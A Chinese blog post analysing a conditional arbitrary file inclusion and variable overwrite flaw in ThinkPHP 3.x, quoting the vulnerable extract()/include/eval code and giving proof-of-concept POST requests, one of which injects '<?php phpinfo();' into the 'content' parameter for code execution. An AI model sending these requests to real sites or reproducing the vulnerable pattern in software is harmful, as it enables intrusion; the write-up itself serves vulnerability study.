zoukankan      html  css  js  c++  java
  • thinkphp 3.x下的任意文件包含(有条件)分析

    漏洞原理

    实现自己的模版引擎不当,在模版渲染的情况下存在任意变量覆盖漏洞。。

     

    漏洞详情

    漏洞位置1

    ThinkPHP/Library/Think/View.class.php

    需要修改配置文件 指定TMPL_ENGINE_TYPE为php

     if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
                // 模板阵列变量分解成为独立变量
                extract($this->tVar, EXTR_OVERWRITE);
                // 直接载入PHP模板
                empty($content)?include $templateFile:eval('?>'.$content);
    

     

    漏洞位置2

    ThinkPHP/Library/Think/Storage/Driver/File.class.php

    	/**
         * 加载文件
         * @access public
         * @param string $filename  文件名
         * @param array $vars  传入变量
         * @return void        
         */
        public function load($filename,$vars=null){
            if(!is_null($vars))
                extract($vars, EXTR_OVERWRITE);
            include $filename;
        }
    

     

     

    漏洞复现

     

    漏洞服务端代码:

    public function test(){
       $this->assign($_POST);
        echo $this->fetch();
    }
    

     

     

    漏洞验证请求:对于漏洞位置2

     

    POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
    Host: 192.168.1.24
    Accept: /
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20

    filename=license.txt

     

     

    调用堆栈

     

    漏洞验证请求:对于漏洞位置1 ,可以命令执行

    POST /onethink/index.php?s=/Home/Article/test HTTP/1.1
    Host: 192.168.1.24
    Accept: /
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 24

    content=<?php phpinfo();

     

     

    调用堆栈

     

    参考:

    https://mp.weixin.qq.com/s/IuKjTS0Q0VVzuoeSwqZ5Gw

  • 相关阅读:
    科学家质疑当今商用量子计算机的性能
    科学家研制出可模拟大脑信息处理的微芯片
    2014年电子科技市场衰退
    号外!CentOS 宣布加入红帽公司!
    hadoop,高富帅的玩具?
    成为Linux内核高手的四个方法
    分阶段事件驱动架构【SEDA】
    原型程式设计【原型语言】
    IOS7.1 企业应用 证书无效 已解决
    iOS7.1企业应用"无法安装应用程序 因为证书无效"的解决方案
  • 原文地址:https://www.cnblogs.com/icez/p/thinkphp_3_x_file_include.html
Copyright © 2011-2022 走看看